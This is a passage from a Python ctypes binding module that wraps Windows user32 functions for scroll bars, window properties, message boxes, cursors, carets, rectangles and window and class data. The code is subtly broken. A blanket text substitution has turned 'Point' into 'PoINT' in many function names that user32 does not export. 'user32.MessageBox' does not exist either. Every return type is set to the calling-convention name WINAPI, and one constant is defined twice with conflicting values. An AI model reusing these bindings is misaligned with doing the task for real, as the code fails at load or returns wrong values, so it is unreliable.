= WINAPI\n\n\n# WINAPI\n# SetScrollRange(\n# _In_ HWND hWnd,\n# _In_ INT nBar,\n# _In_ INT nMinPos,\n# _In_ INT nMaxPos,\n# _In_ BOOL bRedraw);\nSetScrollRange = user32.SetScrollRange\nSetScrollRange.restype = WINAPI\n\n\n# WINAPI\n# GetScrollRange(\n# _In_ HWND hWnd,\n# _In_ INT nBar,\n# _Out_ LPINT lpMinPos,\n# _Out_ LPINT lpMaxPos);\nGetScrollRange = user32.GetScrollRange\nGetScrollRange.restype = WINAPI\n\n\n# WINAPI\n# ShowScrollBar(\n# _In_ HWND hWnd,\n# _In_ INT wBar,\n# _In_ BOOL bShow);\nShowScrollBar = user32.ShowScrollBar\nShowScrollBar.restype = WINAPI\n\n\n# WINAPI\n# EnableScrollBar(\n# _In_ HWND hWnd,\n# _In_ UINT wSBflags,\n# _In_ UINT wArrows);\nEnableScrollBar = user32.EnableScrollBar\nEnableScrollBar.restype = WINAPI\n\nESB_ENABLE_BOTH = 0x00000000\nESB_DISABLE_BOTH = 0x00000003\nESB_DISABLE_LEFT = 0x00000001\nESB_DISABLE_RIGHT = 0x00000002\nESB_DISABLE_UP = 0x00000001\nESB_DISABLE_DOWN = 0x00000002\nESB_DISABLE_LTUP = ESB_DISABLE_LEFT\nESB_DISABLE_RTDN = ESB_DISABLE_RIGHT\n\n# WINAPI\n# SetPropA(\n# _In_ HWND hWnd,\n# _In_ LPCSTR lpString,\n# _In_opt_ HANDLE hData);\nSetPropA = user32.SetPropA\nSetPropA.restype = WINAPI\n\n\n# WINAPI\n# SetPropW(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR lpString,\n# _In_opt_ HANDLE hData);\nSetPropW = user32.SetPropW\nSetPropW.restype = WINAPI\n\nSetProp = SetPropW\n# SetProp = SetPropA\n\n# WINAPI\n# GetPropA(\n# _In_ HWND hWnd,\n# _In_ LPCSTR lpString);\nGetPropA = user32.GetPropA\nGetPropA.restype = WINAPI\n\n\n# WINAPI\n# GetPropW(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR lpString);\nGetPropW = user32.GetPropW\nGetPropW.restype = WINAPI\n\nGetProp = GetPropW\n# GetProp = GetPropA\n\n# WINAPI\n# RemovePropA(\n# _In_ HWND hWnd,\n# _In_ LPCSTR lpString);\nRemovePropA = user32.RemovePropA\nRemovePropA.restype = WINAPI\n\n\n# WINAPI\n# RemovePropW(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR lpString);\nRemovePropW = user32.RemovePropW\nRemovePropW.restype = WINAPI\n\nRemoveProp = RemovePropW\n# RemoveProp = RemovePropA\n\n# WINAPI\n# EnumPropsExA(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCEXA lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumPropsExA = user32.EnumPropsExA\nEnumPropsExA.restype = WINAPI\n\n\n# WINAPI\n# EnumPropsExW(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCEXW lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumPropsExW = user32.EnumPropsExW\nEnumPropsExW.restype = WINAPI\n\nEnumPropsEx = EnumPropsExW\n# EnumPropsEx = EnumPropsExA\n\n# WINAPI\n# EnumPropsA(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCA lpEnumFunc);\nEnumPropsA = user32.EnumPropsA\nEnumPropsA.restype = WINAPI\n\n\n# WINAPI\n# EnumPropsW(\n# _In_ HWND hWnd,\n# _In_ PROPENUMPROCW lpEnumFunc);\nEnumPropsW = user32.EnumPropsW\nEnumPropsW.restype = WINAPI\n\nEnumProps = EnumPropsW\n# EnumProps = EnumPropsA\n\n# WINAPI\n# SetWindowTextA(\n# _In_ HWND hWnd,\n# _In_opt_ LPCSTR lpString);\nSetWindowTextA = user32.SetWindowTextA\nSetWindowTextA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowTextW(\n# _In_ HWND hWnd,\n# _In_opt_ LPCWSTR lpString);\nSetWindowTextW = user32.SetWindowTextW\nSetWindowTextW.restype = WINAPI\n\nSetWindowText = SetWindowTextW\n# SetWindowText = SetWindowTextA\n\n# WINAPI\n# GetWindowTextA(\n# _In_ HWND hWnd,\n# _Out_writes_(nMaxCount) LPSTR lpString,\n# _In_ INT nMaxCount);\nGetWindowTextA = user32.GetWindowTextA\nGetWindowTextA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowTextW(\n# _In_ HWND hWnd,\n# _Out_writes_(nMaxCount) LPWSTR lpString,\n# _In_ INT nMaxCount);\nGetWindowTextW = user32.GetWindowTextW\nGetWindowTextW.restype = WINAPI\n\nGetWindowText = GetWindowTextW\n# GetWindowText = GetWindowTextA\n\n# WINAPI\n# GetWindowTextLengthA(\n# _In_ HWND hWnd);\nGetWindowTextLengthA = user32.GetWindowTextLengthA\nGetWindowTextLengthA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowTextLengthW(\n# _In_ HWND hWnd);\nGetWindowTextLengthW = user32.GetWindowTextLengthW\nGetWindowTextLengthW.restype = WINAPI\n\nGetWindowTextLength = GetWindowTextLengthW\n# GetWindowTextLength = GetWindowTextLengthA\n\n# WINAPI\n# GetClientRect(\n# _In_ HWND hWnd,\n# _Out_ LPRECT lpRect);\nGetClientRect = user32.GetClientRect\nGetClientRect.restype = WINAPI\n\n\n# WINAPI\n# GetWindowRect(\n# _In_ HWND hWnd,\n# _Out_ LPRECT lpRect);\nGetWindowRect = user32.GetWindowRect\nGetWindowRect.restype = WINAPI\n\n\n# WINAPI\n# AdjustWindowRect(\n# _Inout_ LPRECT lpRect,\n# _In_ DWORD dwStyle,\n# _In_ BOOL bMenu);\nAdjustWindowRect = user32.AdjustWindowRect\nAdjustWindowRect.restype = WINAPI\n\n\n# WINAPI\n# AdjustWindowRectEx(\n# _Inout_ LPRECT lpRect,\n# _In_ DWORD dwStyle,\n# _In_ BOOL bMenu,\n# _In_ DWORD dwExStyle);\nAdjustWindowRectEx = user32.AdjustWindowRectEx\nAdjustWindowRectEx.restype = WINAPI\n\n\n# WINAPI\n# AdjustWindowRectExForDpi(\n# _Inout_ LPRECT lpRect,\n# _In_ DWORD dwStyle,\n# _In_ BOOL bMenu,\n# _In_ DWORD dwExStyle,\n# _In_ UINT dpi);\nAdjustWindowRectExForDpi = user32.AdjustWindowRectExForDpi\nAdjustWindowRectExForDpi.restype = WINAPI\n\nHELPINFO_WINDOW = 0x00000001\nHELPINFO_MENUITEM = 0x00000002\n\nclass tagHELPINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iContextType', INT),\n ('iCtrlId', INT),\n ('hItemHandle', HANDLE),\n ('dwContextId', DWORD_PTR),\n ('MousePos', POINT),\n ]\n\n\nHELPINFO = tagHELPINFO\nLPHELPINFO = POINTER(tagHELPINFO)\n\n\n\n# WINAPI\n# SetWindowContextHelpId(\n# _In_ HWND,\n# _In_ DWORD);\nSetWindowContextHelpId = user32.SetWindowContextHelpId\nSetWindowContextHelpId.restype = WINAPI\n\n\n# WINAPI\n# GetWindowContextHelpId(\n# _In_ HWND);\nGetWindowContextHelpId = user32.GetWindowContextHelpId\nGetWindowContextHelpId.restype = WINAPI\n\n\n# WINAPI\n# SetMenuContextHelpId(\n# _In_ HMENU,\n# _In_ DWORD);\nSetMenuContextHelpId = user32.SetMenuContextHelpId\nSetMenuContextHelpId.restype = WINAPI\n\n\n# WINAPI\n# GetMenuContextHelpId(\n# _In_ HMENU);\nGetMenuContextHelpId = user32.GetMenuContextHelpId\nGetMenuContextHelpId.restype = WINAPI\n\nMB_OK = 0x00000000\nMB_OKCANCEL = 0x00000001\nMB_ABORTRETRYIGNORE = 0x00000002\nMB_YESNOCANCEL = 0x00000003\nMB_YESNO = 0x00000004\nMB_RETRYCANCEL = 0x00000005\nMB_CANCELTRYCONTINUE = 0x00000006\nMB_ICONHAND = 0x00000010\nMB_ICONQUESTION = 0x00000020\nMB_ICONEXCLAMATION = 0x00000030\nMB_ICONASTERISK = 0x00000040\nMB_USERICON = 0x00000080\nMB_ICONWARNING = MB_ICONEXCLAMATION\nMB_ICONERROR = MB_ICONHAND\nMB_ICONINFORMATION = MB_ICONASTERISK\nMB_ICONSTOP = MB_ICONHAND\nMB_DEFBUTTON1 = 0x00000000\nMB_DEFBUTTON2 = 0x00000100\nMB_DEFBUTTON3 = 0x00000200\nMB_DEFBUTTON4 = 0x00000300\nMB_APPLMODAL = 0x00000000\nMB_SYSTEMMODAL = 0x00001000\nMB_TASKMODAL = 0x00002000\nMB_HELP = 0x00004000\nMB_NOFOCUS = 0x00008000\nMB_SETFOREGROUND = 0x00010000\nMB_DEFAULT_DESKTOP_ONLY = 0x00020000\nMB_TOPMOST = 0x00040000\nMB_RIGHT = 0x00080000\nMB_RTLREADING = 0x00100000\nMB_SERVICE_NOTIFICATION = 0x00200000\nMB_SERVICE_NOTIFICATION = 0x00040000\nMB_SERVICE_NOTIFICATION_NT3X = 0x00040000\nMB_TYPEMASK = 0x0000000F\nMB_ICONMASK = 0x000000F0\nMB_DEFMASK = 0x00000F00\nMB_MODEMASK = 0x00003000\nMB_MISCMASK = 0x0000C000\n\n# WINAPI\n# MessageBoxA(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCSTR lpText,\n# _In_opt_ LPCSTR lpCaption,\n# _In_ UINT uType);\nMessageBoxA = user32.MessageBoxA\nMessageBoxA.restype = WINAPI\n\n\n# WINAPI\n# MessageBoxW(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCWSTR lpText,\n# _In_opt_ LPCWSTR lpCaption,\n# _In_ UINT uType);\nMessageBoxW = user32.MessageBoxW\nMessageBoxW.restype = WINAPI\n\nMessageBox = MessageBoxW\n# MessageBox = MessageBoxA\n\n# INT\n# MessageBox(\n# HWND hWnd,\n# LPCTSTR lpText,\n# LPCTSTR lpCaption,\n# UINT uType\n# )\nMessageBox = user32.MessageBox\nMessageBox.restype = INT\n\n\n# WINAPI\n# MessageBoxExA(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCSTR lpText,\n# _In_opt_ LPCSTR lpCaption,\n# _In_ UINT uType,\n# _In_ WORD wLanguageId);\nMessageBoxExA = user32.MessageBoxExA\nMessageBoxExA.restype = WINAPI\n\n\n# WINAPI\n# MessageBoxExW(\n# _In_opt_ HWND hWnd,\n# _In_opt_ LPCWSTR lpText,\n# _In_opt_ LPCWSTR lpCaption,\n# _In_ UINT uType,\n# _In_ WORD wLanguageId);\nMessageBoxExW = user32.MessageBoxExW\nMessageBoxExW.restype = WINAPI\n\nMessageBoxEx = MessageBoxExW\n# MessageBoxEx = MessageBoxExA\n\n\nMSGBOXCALLBACK = CALLBACK(VOID, LPHELPINFO)\n\n\nclass tagMSGBOXPARAMSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hwndOwner', HWND),\n ('hInstance', HINSTANCE),\n ('lpszText', LPCSTR),\n ('lpszCaption', LPCSTR),\n ('dwStyle', DWORD),\n ('lpszIcon', LPCSTR),\n ('dwContextHelpId', DWORD_PTR),\n ('lpfnMsgBoxCallback', MSGBOXCALLBACK),\n ('dwLanguageId', DWORD),\n ]\n\n\nMSGBOXPARAMSA = tagMSGBOXPARAMSA\nPMSGBOXPARAMSA = POINTER(tagMSGBOXPARAMSA)\nLPMSGBOXPARAMSA = POINTER(tagMSGBOXPARAMSA)\n\n\n\nclass tagMSGBOXPARAMSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('hwndOwner', HWND),\n ('hInstance', HINSTANCE),\n ('lpszText', LPCWSTR),\n ('lpszCaption', LPCWSTR),\n ('dwStyle', DWORD),\n ('lpszIcon', LPCWSTR),\n ('dwContextHelpId', DWORD_PTR),\n ('lpfnMsgBoxCallback', MSGBOXCALLBACK),\n ('dwLanguageId', DWORD),\n ]\n\n\nMSGBOXPARAMSW = tagMSGBOXPARAMSW\nPMSGBOXPARAMSW = POINTER(tagMSGBOXPARAMSW)\nLPMSGBOXPARAMSW = POINTER(tagMSGBOXPARAMSW)\n\n\nMSGBOXPARAMS = MSGBOXPARAMSW\nPMSGBOXPARAMS = PMSGBOXPARAMSW\nLPMSGBOXPARAMS = LPMSGBOXPARAMSW\n\n# WINAPI\n# MessageBoxIndirectA(\n# _In_ CONST MSGBOXPARAMSA * lpmbp);\nMessageBoxIndirectA = user32.MessageBoxIndirectA\nMessageBoxIndirectA.restype = WINAPI\n\n\n# WINAPI\n# MessageBoxIndirectW(\n# _In_ CONST MSGBOXPARAMSW * lpmbp);\nMessageBoxIndirectW = user32.MessageBoxIndirectW\nMessageBoxIndirectW.restype = WINAPI\n\nMessageBoxIndirect = MessageBoxIndirectW\n# MessageBoxIndirect = MessageBoxIndirectA\n\n# WINAPI\n# MessageBeep(\n# _In_ UINT uType);\nMessageBeep = user32.MessageBeep\nMessageBeep.restype = WINAPI\n\n\n# WINAPI\n# ShowCursor(\n# _In_ BOOL bShow);\nShowCursor = user32.ShowCursor\nShowCursor.restype = WINAPI\n\n\n# WINAPI\n# SetCursorPos(\n# _In_ INT X,\n# _In_ INT Y);\nSetCursorPos = user32.SetCursorPos\nSetCursorPos.restype = WINAPI\n\n\n# WINAPI\n# SetPhysicalCursorPos(\n# _In_ INT X,\n# _In_ INT Y);\nSetPhysicalCursorPos = user32.SetPhysicalCursorPos\nSetPhysicalCursorPos.restype = WINAPI\n\n\n# WINAPI\n# SetCursor(\n# _In_opt_ HCURSOR hCursor);\nSetCursor = user32.SetCursor\nSetCursor.restype = WINAPI\n\n\n# WINAPI\n# GetCursorPos(\n# _Out_ LPPOINT lpPoINT);\nGetCursorPos = user32.GetCursorPos\nGetCursorPos.restype = WINAPI\n\n\n# WINAPI\n# GetPhysicalCursorPos(\n# _Out_ LPPOINT lpPoINT);\nGetPhysicalCursorPos = user32.GetPhysicalCursorPos\nGetPhysicalCursorPos.restype = WINAPI\n\n\n# WINAPI\n# GetClipCursor(\n# _Out_ LPRECT lpRect);\nGetClipCursor = user32.GetClipCursor\nGetClipCursor.restype = WINAPI\n\n\n# WINAPI\n# GetCursor(\n# VOID);\nGetCursor = user32.GetCursor\nGetCursor.restype = WINAPI\n\n\n# WINAPI\n# CreateCaret(\n# _In_ HWND hWnd,\n# _In_opt_ HBITMAP hBitmap,\n# _In_ INT nWidth,\n# _In_ INT nHeight);\nCreateCaret = user32.CreateCaret\nCreateCaret.restype = WINAPI\n\n\n# WINAPI\n# GetCaretBlinkTime(\n# VOID);\nGetCaretBlinkTime = user32.GetCaretBlinkTime\nGetCaretBlinkTime.restype = WINAPI\n\n\n# WINAPI\n# SetCaretBlinkTime(\n# _In_ UINT uMSeconds);\nSetCaretBlinkTime = user32.SetCaretBlinkTime\nSetCaretBlinkTime.restype = WINAPI\n\n\n# WINAPI\n# DestroyCaret(\n# VOID);\nDestroyCaret = user32.DestroyCaret\nDestroyCaret.restype = WINAPI\n\n\n# WINAPI\n# HideCaret(\n# _In_opt_ HWND hWnd);\nHideCaret = user32.HideCaret\nHideCaret.restype = WINAPI\n\n\n# WINAPI\n# ShowCaret(\n# _In_opt_ HWND hWnd);\nShowCaret = user32.ShowCaret\nShowCaret.restype = WINAPI\n\n\n# WINAPI\n# SetCaretPos(\n# _In_ INT X,\n# _In_ INT Y);\nSetCaretPos = user32.SetCaretPos\nSetCaretPos.restype = WINAPI\n\n\n# WINAPI\n# GetCaretPos(\n# _Out_ LPPOINT lpPoINT);\nGetCaretPos = user32.GetCaretPos\nGetCaretPos.restype = WINAPI\n\n\n# WINAPI\n# ClientToScreen(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nClientToScreen = user32.ClientToScreen\nClientToScreen.restype = WINAPI\n\n\n# WINAPI\n# ScreenToClient(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nScreenToClient = user32.ScreenToClient\nScreenToClient.restype = WINAPI\n\n\n# WINAPI\n# LogicalToPhysicalPoINT(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nLogicalToPhysicalPoINT = user32.LogicalToPhysicalPoINT\nLogicalToPhysicalPoINT.restype = WINAPI\n\n\n# WINAPI\n# PhysicalToLogicalPoINT(\n# _In_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nPhysicalToLogicalPoINT = user32.PhysicalToLogicalPoINT\nPhysicalToLogicalPoINT.restype = WINAPI\n\n\n# WINAPI\n# LogicalToPhysicalPoINTForPerMonitorDPI(\n# _In_opt_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nLogicalToPhysicalPoINTForPerMonitorDPI = (\n user32.LogicalToPhysicalPoINTForPerMonitorDPI\n)\nLogicalToPhysicalPoINTForPerMonitorDPI.restype = WINAPI\n\n\n# WINAPI\n# PhysicalToLogicalPoINTForPerMonitorDPI(\n# _In_opt_ HWND hWnd,\n# _Inout_ LPPOINT lpPoINT);\nPhysicalToLogicalPoINTForPerMonitorDPI = (\n user32.PhysicalToLogicalPoINTForPerMonitorDPI\n)\nPhysicalToLogicalPoINTForPerMonitorDPI.restype = WINAPI\n\n\n# WINAPI\n# MapWindowPoINTs(\n# _In_opt_ HWND hWndFrom,\n# _In_opt_ HWND hWndTo,\n# _Inout_updates_(cPoINTs) LPPOINT lpPoINTs,\n# _In_ UINT cPoINTs);\nMapWindowPoINTs = user32.MapWindowPoINTs\nMapWindowPoINTs.restype = WINAPI\n\n\n# WINAPI\n# WindowFromPoINT(\n# _In_ POINT PoINT);\nWindowFromPoINT = user32.WindowFromPoINT\nWindowFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# WindowFromPhysicalPoINT(\n# _In_ POINT PoINT);\nWindowFromPhysicalPoINT = user32.WindowFromPhysicalPoINT\nWindowFromPhysicalPoINT.restype = WINAPI\n\n\n# WINAPI\n# ChildWindowFromPoINT(\n# _In_ HWND hWndParent,\n# _In_ POINT PoINT);\nChildWindowFromPoINT = user32.ChildWindowFromPoINT\nChildWindowFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# ClipCursor(\n# _In_opt_ CONST RECT *lpRect);\nClipCursor = user32.ClipCursor\nClipCursor.restype = WINAPI\n\nCWP_ALL = 0x00000000\nCWP_SKIPINVISIBLE = 0x00000001\nCWP_SKIPDISABLED = 0x00000002\nCWP_SKIPTRANSPARENT = 0x00000004\n\n# WINAPI\n# ChildWindowFromPoINTEx(\n# _In_ HWND hwnd,\n# _In_ POINT pt,\n# _In_ UINT flags);\nChildWindowFromPoINTEx = user32.ChildWindowFromPoINTEx\nChildWindowFromPoINTEx.restype = WINAPI\n\nCTLCOLOR_MSGBOX = 0x00000000\nCTLCOLOR_EDIT = 0x00000001\nCTLCOLOR_LISTBOX = 0x00000002\nCTLCOLOR_BTN = 0x00000003\nCTLCOLOR_DLG = 0x00000004\nCTLCOLOR_SCROLLBAR = 0x00000005\nCTLCOLOR_STATIC = 0x00000006\nCTLCOLOR_MAX = 0x00000007\nCOLOR_SCROLLBAR = 0x00000000\nCOLOR_BACKGROUND = 0x00000001\nCOLOR_ACTIVECAPTION = 0x00000002\nCOLOR_INACTIVECAPTION = 0x00000003\nCOLOR_MENU = 0x00000004\nCOLOR_WINDOW = 0x00000005\nCOLOR_WINDOWFRAME = 0x00000006\nCOLOR_MENUTEXT = 0x00000007\nCOLOR_WINDOWTEXT = 0x00000008\nCOLOR_CAPTIONTEXT = 0x00000009\nCOLOR_ACTIVEBORDER = 0x0000000A\nCOLOR_INACTIVEBORDER = 0x0000000B\nCOLOR_APPWORKSPACE = 0x0000000C\nCOLOR_HIGHLIGHT = 0x0000000D\nCOLOR_HIGHLIGHTTEXT = 0x0000000E\nCOLOR_BTNFACE = 0x0000000F\nCOLOR_BTNSHADOW = 0x00000010\nCOLOR_GRAYTEXT = 0x00000011\nCOLOR_BTNTEXT = 0x00000012\nCOLOR_INACTIVECAPTIONTEXT = 0x00000013\nCOLOR_BTNHIGHLIGHT = 0x00000014\nCOLOR_3DDKSHADOW = 0x00000015\nCOLOR_3DLIGHT = 0x00000016\nCOLOR_INFOTEXT = 0x00000017\nCOLOR_INFOBK = 0x00000018\nCOLOR_HOTLIGHT = 0x0000001A\nCOLOR_GRADIENTACTIVECAPTION = 0x0000001B\nCOLOR_GRADIENTINACTIVECAPTION = 0x0000001C\nCOLOR_MENUHILIGHT = 0x0000001D\nCOLOR_MENUBAR = 0x0000001E\nCOLOR_DESKTOP = COLOR_BACKGROUND\nCOLOR_3DFACE = COLOR_BTNFACE\nCOLOR_3DSHADOW = COLOR_BTNSHADOW\nCOLOR_3DHIGHLIGHT = COLOR_BTNHIGHLIGHT\nCOLOR_3DHILIGHT = COLOR_BTNHIGHLIGHT\nCOLOR_BTNHILIGHT = COLOR_BTNHIGHLIGHT\n\n# WINAPI\n# GetSysColor(\n# _In_ INT nIndex);\nGetSysColor = user32.GetSysColor\nGetSysColor.restype = WINAPI\n\n\n# WINAPI\n# GetSysColorBrush(\n# _In_ INT nIndex);\nGetSysColorBrush = user32.GetSysColorBrush\nGetSysColorBrush.restype = WINAPI\n\n\n# WINAPI\n# SetSysColors(\n# _In_ INT cElements,\n# _In_reads_(cElements) CONST INT * lpaElements,\n# _In_reads_(cElements) CONST COLORREF * lpaRgbValues);\nSetSysColors = user32.SetSysColors\nSetSysColors.restype = WINAPI\n\n\n# WINAPI\n# DrawFocusRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT * lprc);\nDrawFocusRect = user32.DrawFocusRect\nDrawFocusRect.restype = WINAPI\n\n\n# WINAPI\n# FillRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT *lprc,\n# _In_ HBRUSH hbr);\nFillRect = user32.FillRect\nFillRect.restype = WINAPI\n\n\n# WINAPI\n# FrameRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT *lprc,\n# _In_ HBRUSH hbr);\nFrameRect = user32.FrameRect\nFrameRect.restype = WINAPI\n\n\n# WINAPI\n# InvertRect(\n# _In_ HDC hDC,\n# _In_ CONST RECT *lprc);\nInvertRect = user32.InvertRect\nInvertRect.restype = WINAPI\n\n\n# WINAPI\n# SetRect(\n# _Out_ LPRECT lprc,\n# _In_ INT xLeft,\n# _In_ INT yTop,\n# _In_ INT xRight,\n# _In_ INT yBottom);\nSetRect = user32.SetRect\nSetRect.restype = WINAPI\n\n\n# WINAPI\n# SetRectEmpty(\n# _Out_ LPRECT lprc);\nSetRectEmpty = user32.SetRectEmpty\nSetRectEmpty.restype = WINAPI\n\n\n# WINAPI\n# CopyRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc);\nCopyRect = user32.CopyRect\nCopyRect.restype = WINAPI\n\n\n# WINAPI\n# InflateRect(\n# _Inout_ LPRECT lprc,\n# _In_ INT dx,\n# _In_ INT dy);\nInflateRect = user32.InflateRect\nInflateRect.restype = WINAPI\n\n\n# WINAPI\n# IntersectRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc1,\n# _In_ CONST RECT *lprcSrc2);\nIntersectRect = user32.IntersectRect\nIntersectRect.restype = WINAPI\n\n\n# WINAPI\n# UnionRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc1,\n# _In_ CONST RECT *lprcSrc2);\nUnionRect = user32.UnionRect\nUnionRect.restype = WINAPI\n\n\n# WINAPI\n# SubtractRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc1,\n# _In_ CONST RECT *lprcSrc2);\nSubtractRect = user32.SubtractRect\nSubtractRect.restype = WINAPI\n\n\n# WINAPI\n# OffsetRect(\n# _Inout_ LPRECT lprc,\n# _In_ INT dx,\n# _In_ INT dy);\nOffsetRect = user32.OffsetRect\nOffsetRect.restype = WINAPI\n\n\n# WINAPI\n# IsRectEmpty(\n# _In_ CONST RECT *lprc);\nIsRectEmpty = user32.IsRectEmpty\nIsRectEmpty.restype = WINAPI\n\n\n# WINAPI\n# EqualRect(\n# _In_ CONST RECT *lprc1,\n# _In_ CONST RECT *lprc2);\nEqualRect = user32.EqualRect\nEqualRect.restype = WINAPI\n\n\n# WINAPI\n# PtInRect(\n# _In_ CONST RECT *lprc,\n# _In_ POINT pt);\nPtInRect = user32.PtInRect\nPtInRect.restype = WINAPI\n\n\n# WINAPI\n# GetWindowWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowWord = user32.GetWindowWord\nGetWindowWord.restype = WINAPI\n\n\n# WINAPI\n# SetWindowWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ WORD wNewWord);\nSetWindowWord = user32.SetWindowWord\nSetWindowWord.restype = WINAPI\n\n\n# WINAPI\n# GetWindowLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongA = user32.GetWindowLongA\nGetWindowLongA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongW = user32.GetWindowLongW\nGetWindowLongW.restype = WINAPI\n\nGetWindowLong = GetWindowLongW\n# GetWindowLong = GetWindowLongA\n\n# WINAPI\n# SetWindowLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetWindowLongA = user32.SetWindowLongA\nSetWindowLongA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetWindowLongW = user32.SetWindowLongW\nSetWindowLongW.restype = WINAPI\n\nSetWindowLong = SetWindowLongW\n# SetWindowLong = SetWindowLongA\n\n# WINAPI\n# GetWindowLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongPtrA = user32.GetWindowLongPtrA\nGetWindowLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongPtrW = user32.GetWindowLongPtrW\nGetWindowLongPtrW.restype = WINAPI\n\nGetWindowLongPtr = GetWindowLongPtrW\n# GetWindowLongPtr = GetWindowLongPtrA\n\n# WINAPI\n# SetWindowLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetWindowLongPtrA = user32.SetWindowLongPtrA\nSetWindowLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetWindowLongPtrW = user32.SetWindowLongPtrW\nSetWindowLongPtrW.restype = WINAPI\n\nSetWindowLongPtr = SetWindowLongPtrW\n# SetWindowLongPtr = SetWindowLongPtrA\n# GetWindowLongPtrA = GetWindowLongA\nGetWindowLongPtrW = GetWindowLongW\nGetWindowLongPtr = GetWindowLongPtrW\n# GetWindowLongPtr = GetWindowLongPtrA\n# SetWindowLongPtrA = SetWindowLongA\nSetWindowLongPtrW = SetWindowLongW\nSetWindowLongPtr = SetWindowLongPtrW\n# SetWindowLongPtr = SetWindowLongPtrA\n\n# WINAPI\n# GetClassWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassWord = user32.GetClassWord\nGetClassWord.restype = WINAPI\n\n\n# WINAPI\n# SetClassWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ WORD wNewWord);\nSetClassWord = user32.SetClassWord\nSetClassWord.restype = WINAPI\n\n\n# WINAPI\n# GetClassLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongA = user32.GetClassLongA\nGetClassLongA.restype = WINAPI\n\n\n# WINAPI\n# GetClassLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongW = user32.GetClassLongW\nGetClassLongW.restype = WINAPI\n\nGetClassLong = GetClassLongW\n# GetClassLong = GetClassLongA\n\n# WINAPI\n# SetClassLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetClassLongA = user32.SetClassLongA\nSetClassLongA.restype = WINAPI\n\n\n# WINAPI\n# SetClassLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetClassLongW = user32.SetClassLongW\nSetClassLongW.restype = WINAPI\n\nSetClassLong = SetClassLongW\n# SetClassLong = SetClassLongA\n\n# WINAPI\n# GetClassLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongPtrA = user32.GetClassLongPtrA\nGetClassLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# GetClassLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongPtrW = user32.GetClassLongPtrW\nGetClassLongPtrW.restype = WINAPI\n\nGetClassLongPtr = GetClassLongPtrW\n# GetClassLongPtr = GetClassLongPtrA\n\n# WINAPI\n# SetClassLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetClassLongPtrA = user32.SetClassLongPtrA\nSetClassLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# SetClassLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetClassLongPtrW = user32.SetClassLongPtrW\nSetClassLongPtrW.restype = WINAPI\n\nSetClassLongPtr = SetClassLongPtrW\n# SetClassLongPtr = SetClassLongPtrA\n# GetClassLongPtrA = GetClassLongA\nGetClassLongPtrW = GetClassLongW\nGetClassLongPtr = GetClassLongPtrW\n# GetClassLongPtr = GetClassLongPtrA\n# SetClassLongPtrA = SetClassLongA\nSetClassLongPtrW = SetClassLongW\nSetClassLongPtr = 